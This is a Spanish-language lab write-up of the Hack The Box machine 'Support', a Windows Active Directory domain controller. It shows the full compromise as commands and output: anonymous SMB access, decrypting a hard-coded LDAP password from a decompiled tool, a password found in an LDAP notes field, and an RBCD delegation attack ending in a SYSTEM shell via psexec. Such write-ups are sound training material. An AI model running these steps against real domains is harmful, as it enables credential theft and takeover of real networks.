Support
Support es una máquina Windows Active Directory cuyo compromiso completo no depende de ningún CVE, sino de una cadena de malas prácticas encadenadas: autenticación anónima habilitada en SMB, una herramienta interna distribuida con una credencial cifrada con un esquema propio (y débil) en lugar de un estándar probado, una segunda credencial guardada en texto plano en un campo de notas de Active Directory, y finalmente un permiso de control total (GenericAll) heredado por membresía de grupo sobre el objeto computadora del propio Domain Controller, explotable mediante Resource-Based Constrained Delegation. Ninguno de estos cuatro problemas es por sí solo una vulnerabilidad "crítica" de manual, pero encadenados llevan de un usuario anónimo a NT AUTHORITY\SYSTEM en el DC.

Enumeration
Comenzamos realizando un escaneo TCP completo para identificar los puertos expuestos en el objetivo. Utilizamos un SYN scan con una tasa mínima de 5000 paquetes por segundo, deshabilitando la resolución DNS y el host discovery.
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports <TARGET-IP>
El escaneo identificó los siguientes puertos abiertos:
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49678/tcp open unknown syn-ack ttl 127
49690/tcp open unknown syn-ack ttl 127
49706/tcp open unknown syn-ack ttl 127
La combinación de servicios descubiertos, particularmente Kerberos (88/tcp), LDAP (389/tcp), SMB (445/tcp), Global Catalog (3268/3269) y Active Directory Web Services (9389/tcp), sugiere que el objetivo forma parte de un entorno Active Directory.
Una vez finalizado el escaneo completo, extrajimos automáticamente los puertos abiertos desde el archivo .gnmap generado por Nmap. Esto nos permitió construir la lista de puertos para el siguiente escaneo sin tener que introducirlos manualmente.
grep -oP '\d{1,5}(?=/open)' nmap/allports.gnmap | sort -un | xargs | tr ' ' ','
El comando extrae los números de los puertos marcados como open, los ordena numéricamente, elimina duplicados y finalmente los convierte en una lista separada por comas, compatible con la opción -p de Nmap.
Con la lista obtenida, realizamos una enumeración más detallada de los servicios utilizando detección de versiones y scripts predeterminados:
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49670,49677,49685,49708 -sCV -Pn -oA nmap/openports <TARGET-IP>
El escaneo permitió identificar el sistema operativo como Windows y confirmó varios de los servicios asociados con Active Directory:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-01 02:27:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: -1s
| smb2-time:
| date: 2026-08-01T02:27:55
|_ start_date: N/A
Además, Nmap indicó que SMB signing está habilitado y es obligatorio.
Con esta información, tenemos suficientes indicios para orientar la siguiente fase de enumeración hacia los servicios de Active Directory, principalmente SMB, LDAP, Kerberos y DNS.
Dado que SMB (445/tcp) se encontraba expuesto, comenzamos enumerando el servicio utilizando NetExec con el usuario Guest y una contraseña vacía:
nxc smb <TARGET-IP> -u Guest -p ""
La respuesta confirmó que el objetivo es un Windows Server 2022 que pertenece al dominio support.htb. Además, la autenticación como Guest fue aceptada mediante autenticación nula:
SMB <TARGET-IP> 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB <TARGET-IP> 445 DC [+] support.htb\Guest:
Agregamos el dominio y el nombre del controlador de dominio al archivo /etc/hosts para facilitar la resolución local:
echo "<TARGET-IP> support.htb" | sudo tee -a /etc/hosts
A continuación, enumeramos los recursos compartidos disponibles para el usuario Guest:
nxc smb <TARGET-IP> -u Guest -p "" --shares
Entre los recursos enumerados, encontramos support-tools, sobre el cual el usuario Guest dispone de permisos de lectura:
SMB <TARGET-IP> 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB <TARGET-IP> 445 DC [+] support.htb\Guest:
SMB <TARGET-IP> 445 DC [*] Enumerated shares
SMB <TARGET-IP> 445 DC Share Permissions Remark
SMB <TARGET-IP> 445 DC ----- ----------- ------
SMB <TARGET-IP> 445 DC ADMIN$ Remote Admin
SMB <TARGET-IP> 445 DC C$ Default share
SMB <TARGET-IP> 445 DC IPC$ READ Remote IPC
SMB <TARGET-IP> 445 DC NETLOGON Logon server share
SMB <TARGET-IP> 445 DC support-tools READ support staff tools
SMB <TARGET-IP> 445 DC SYSVOL Logon server share
Debido a los permisos de lectura sobre support-tools, enumeramos su contenido:
nxc smb <TARGET-IP> -u Guest -p "" --spider support-tools --pattern .
El recurso contiene varias herramientas portables, entre ellas 7-Zip, PuTTY, Sysinternals Suite, Wireshark y un archivo denominado UserInfo.exe.zip:
SMB <TARGET-IP> 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB <TARGET-IP> 445 DC [+] support.htb\Guest:
SMB <TARGET-IP> 445 DC [*] Spidering .
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/. [dir]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/.. [dir]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/7-ZipPortable_21.07.paf.exe [lastm:'2022-05-28 08:19' size:2880728]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/npp.8.4.1.portable.x64.zip [lastm:'2022-05-28 08:19' size:5439245]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/putty.exe [lastm:'2022-05-28 08:20' size:1273576]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/SysinternalsSuite.zip [lastm:'2022-05-28 08:19' size:48102161]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/UserInfo.exe.zip [lastm:'2022-07-20 14:01' size:277499]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/windirstat1_1_2_setup.exe [lastm:'2022-05-28 08:20' size:79171]
SMB <TARGET-IP> 445 DC //<TARGET-IP>/support-tools/WiresharkPortable64_3.6.5.paf.exe [lastm:'2022-05-28 08:19' size:44398000]
El archivo UserInfo.exe.zip llamó especialmente nuestra atención por su nombre, ya que podría estar relacionado con información de usuarios. Aprovechando los permisos de lectura obtenidos mediante la cuenta Guest, lo descargamos para analizarlo localmente:
nxc smb <TARGET-IP> -u Guest -p "" --share support-tools --get-file UserInfo.exe.zip UserInfo.exe.zip
A partir de este punto, analizamos el archivo descargado para determinar su funcionalidad y comprobar si contiene información útil para continuar la enumeración.
Creamos un directorio para extraer el contenido del archivo descargado.
mkdir UserInfo
Y extraemos el contenido del archivo descargado en el directorio creado.
unzip UserInfo.exe.zip -d UserInfo/
Listamos el contenido del directorio UserInfo.
total 664
-rw-rw-rw- 1 melvin melvin 99840 Mar 1 2022 CommandLineParser.dll
-rw-rw-rw- 1 melvin melvin 22144 Oct 22 2021 Microsoft.Bcl.AsyncInterfaces.dll
-rw-rw-rw- 1 melvin melvin 47216 Oct 22 2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
-rw-rw-rw- 1 melvin melvin 84608 Oct 22 2021 Microsoft.Extensions.DependencyInjection.dll
-rw-rw-rw- 1 melvin melvin 64112 Oct 22 2021 Microsoft.Extensions.Logging.Abstractions.dll
-rw-rw-rw- 1 melvin melvin 20856 Feb 19 2020 System.Buffers.dll
-rw-rw-rw- 1 melvin melvin 141184 Feb 19 2020 System.Memory.dll
-rw-rw-rw- 1 melvin melvin 115856 May 15 2018 System.Numerics.Vectors.dll
-rw-rw-rw- 1 melvin melvin 18024 Oct 22 2021 System.Runtime.CompilerServices.Unsafe.dll
-rw-rw-rw- 1 melvin melvin 25984 Feb 19 2020 System.Threading.Tasks.Extensions.dll
-rwxrwxrwx 1 melvin melvin 12288 May 27 2022 UserInfo.exe
-rw-rw-rw- 1 melvin melvin 563 May 27 2022 UserInfo.exe.config
Hay un ejecutable UserInfo.exe.
file UserInfo.exe
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
Lo decompilamos con AvaloniaILSpy.
git clone https://github.com/icsharpcode/AvaloniaILSpy
Encontramos información relevante.

internal class Protected
{
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array2);
}
}

internal class LdapQuery
{
private DirectoryEntry entry;
private DirectorySearcher ds;
public LdapQuery()
{
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_0022: Expected O, but got Unknown
//IL_0035: Unknown result type (might be due to invalid IL or missing references)
//IL_003f: Expected O, but got Unknown
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.set_AuthenticationType((AuthenticationTypes)1);
ds = new DirectorySearcher(entry);
}
public void query(string first, string last, bool verbose = false)
{
//IL_011e: Unknown result type (might be due to invalid IL or missing references)
try
{
if (first == null && last == null)
{
Console.WriteLine("[-] At least one of -first or -last is required.");
return;
}
string text = ((last == null) ? ("(givenName=" + first + ")") : ((first != null) ? ("(&(givenName=" + first + ")(sn=" + last + "))") : ("(sn=" + last + ")")));
if (verbose)
{
Console.WriteLine("[*] LDAP query to use: " + text);
}
ds.set_Filter(text);
ds.get_PropertiesToLoad().Add("sAMAccountName");
SearchResultCollection val = ds.FindAll();
if (val.get_Count() == 0)
{
Console.WriteLine("[-] No users identified with that query.");
return;
}
if (verbose)
{
string text2 = "[+] Found " + val.get_Count() + " result";
if (val.get_Count() > 1)
{
text2 += "s";
}
text2 += ":";
Console.WriteLine(text2);
}
foreach (SearchResult item in val)
{
if (verbose)
{
Console.Write(" ");
}
Console.WriteLine(item.get_Properties().get_Item("sAMAccountName").get_Item(0));
}
}
catch (Exception ex)
{
Console.WriteLine("[-] Exception: " + ex.Message);
}
}
public void printUser(string username, bool verbose = false)
{
try
{
if (verbose)
{
Console.WriteLine("[*] Getting data for " + username);
}
ds.set_Filter("sAMAccountName=" + username);
ds.get_PropertiesToLoad().Add("pwdLastSet");
ds.get_PropertiesToLoad().Add("lastLogon");
ds.get_PropertiesToLoad().Add("givenName");
ds.get_PropertiesToLoad().Add("sn");
ds.get_PropertiesToLoad().Add("mail");
SearchResult val = ds.FindOne();
if (val == null)
{
Console.WriteLine("[-] Unable to locate " + username + ". Please try the find command to get the user's username.");
return;
}
if (((ReadOnlyCollectionBase)(object)val.get_Properties().get_Item("givenName")).Count > 0)
{
Console.WriteLine("First Name: " + val.get_Properties().get_Item("givenName").get_Item(0));
}
if (((ReadOnlyCollectionBase)(object)val.get_Properties().get_Item("sn")).Count > 0)
{
Console.WriteLine("Last Name: " + val.get_Properties().get_Item("sn").get_Item(0));
}
if (((ReadOnlyCollectionBase)(object)val.get_Properties().get_Item("mail")).Count > 0)
{
Console.WriteLine("Contact: " + val.get_Properties().get_Item("mail").get_Item(0));
}
if (val.get_Properties().Contains("pwdLastSet"))
{
Console.WriteLine("Last Password Change: " + DateTime.FromFileTime((long)val.get_Properties().get_Item("pwdLastSet").get_Item(0)));
}
}
catch (Exception ex)
{
Console.WriteLine("[-] Exception: " + ex.Message);
}
}
}
Exploitation
Con esta información podemos obtener la contraseña haciendo el proceso inverso con Python.
getpass.py
import base64
def get_password():
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc_password)
decrypted = bytearray(len(data))
for i in range(len(data)):
decrypted[i] = (data[i] ^ key[i % len(key)]) ^ 0xDF
return decrypted.decode('utf-8')
if __name__ == "__main__":
print(get_password())
python3 getpass.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Listamos el campo info de todos los usuarios para ver si encontramos información sensible.
nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -M get-info-users
LDAP 10.129.68.160 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.68.160 389 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
GET-INFO... 10.129.68.160 389 DC [+] Found following users:
GET-INFO... 10.129.68.160 389 DC User: support Info: Ironside47pleasure40Watchful
Encontramos la contraseña del usuario support.
Con las credenciales del usuario support nos conectamos vía WinRM.
evil-winrm -i 10.129.68.160 -u support -p 'Ironside47pleasure40Watchful'
Listamos el contenido del escritorio.
dir ..\Desktop
Directory: C:\Users\support\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/1/2026 9:25 AM 34 user.txt
Leemos el contenido de la flag.
type ..\Desktop\user.txt
User flag
0******************************9
Privilege Escalation
Recolectamos información para usar en Bloodhound.
nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --bloodhound -c All
LDAP 10.129.68.160 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.68.160 389 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP 10.129.68.160 389 DC Resolved collection methods: acl, adcs, container, dcom, group, localadmin, loggedon, objectprops, psremote, rdp, session, trusts
LDAP 10.129.68.160 389 DC Excluded collection methods:
LDAP 10.129.68.160 389 DC Bloodhound data collection completed in 1M 11S
LDAP 10.129.68.160 389 DC Collecting ADCS data (CertiHound)...
LDAP 10.129.68.160 389 DC Found 0 certificate templates
LDAP 10.129.68.160 389 DC Found 0 Enterprise CAs
LDAP 10.129.68.160 389 DC Compressing output into /home/melvin/.nxc/logs/DC_10.129.68.160_2026-08-01_154627_bloodhound.zip
El usuario support es miembro del grupo SHARED SUPPORT ACCOUNTS lo que significa que hereda todos sus permisos de seguridad, incluso GenericAll sobre el Domain Controller.

Creamos una computer account.
addcomputer.py -computer-name 'MELVIN$' -computer-pass 'P4$$w0rd' 'support.htb/support:Ironside47pleasure40Watchful'
[*] Successfully added machine account MELVIN$ with password P4$$w0rd.
Verificamos que se creó correctamente.
Get-ADComputer -identity MELVIN
DistinguishedName : CN=MELVIN,CN=Computers,DC=support,DC=htb
DNSHostName :
Enabled : True
Name : MELVIN
ObjectClass : computer
ObjectGUID : be1f08b8-2416-4ffa-97e9-5433d529706b
SamAccountName : MELVIN$
SID : S-1-5-21-1677581083-3380853377-188903654-6101
UserPrincipalName :
Modificamos el atributo msDS-AllowedToActOnBehalfOfOtherIdentity escribiendo el SID de la computer account que creamos dentro del atributo en el DC.
rbcd.py -delegate-from 'MELVIN$' -delegate-to 'DC$' -action 'write' 'support.htb/support:Ironside47pleasure40Watchful'
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] MELVIN$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] MELVIN$ (S-1-5-21-1677581083-3380853377-188903654-6102)
Verificamos que el PrincipalsAllowedToDelegateToAccount se seteó con el SID de la computer account que creamos.
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
DistinguishedName : CN=DC,OU=Domain Controllers,DC=support,DC=htb
DNSHostName : dc.support.htb
Enabled : True
Name : DC
ObjectClass : computer
ObjectGUID : afa13f1c-0399-4f7e-863f-e9c3b94c4127
PrincipalsAllowedToDelegateToAccount : {S-1-5-21-1677581083-3380853377-188903654-6102}
SamAccountName : DC$
SID : S-1-5-21-1677581083-3380853377-188903654-1000
UserPrincipalName :
Pedimos un ticket de servicio (ST) para el SPN cifs/support.htb utilizando la computer account creada.
getST.py -spn 'cifs/dc.support.htb' -impersonate 'administrator' 'support.htb/MELVIN$:P4$$w0rd'
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Exportamos la variable de entorno KRB5CCNAME para que se use el ticket guardado ahí a la hora de autenticarnos.
export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Agregamos dc.support.htb al archivo /etc/hosts.
Nos autenticamos en el DC usando el ticket de Kerberos del Administrator.
psexec.py -k -no-pass dc.support.htb -dc-ip 10.129.68.160
[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file XhpxIbgg.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service nKOB on dc.support.htb.....
[*] Starting service nKOB.....
[!] Press help for extra shell commands Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Leemos la flag.
type C:\Users\Administrator\Desktop\root.txt
Root flag
7******************************b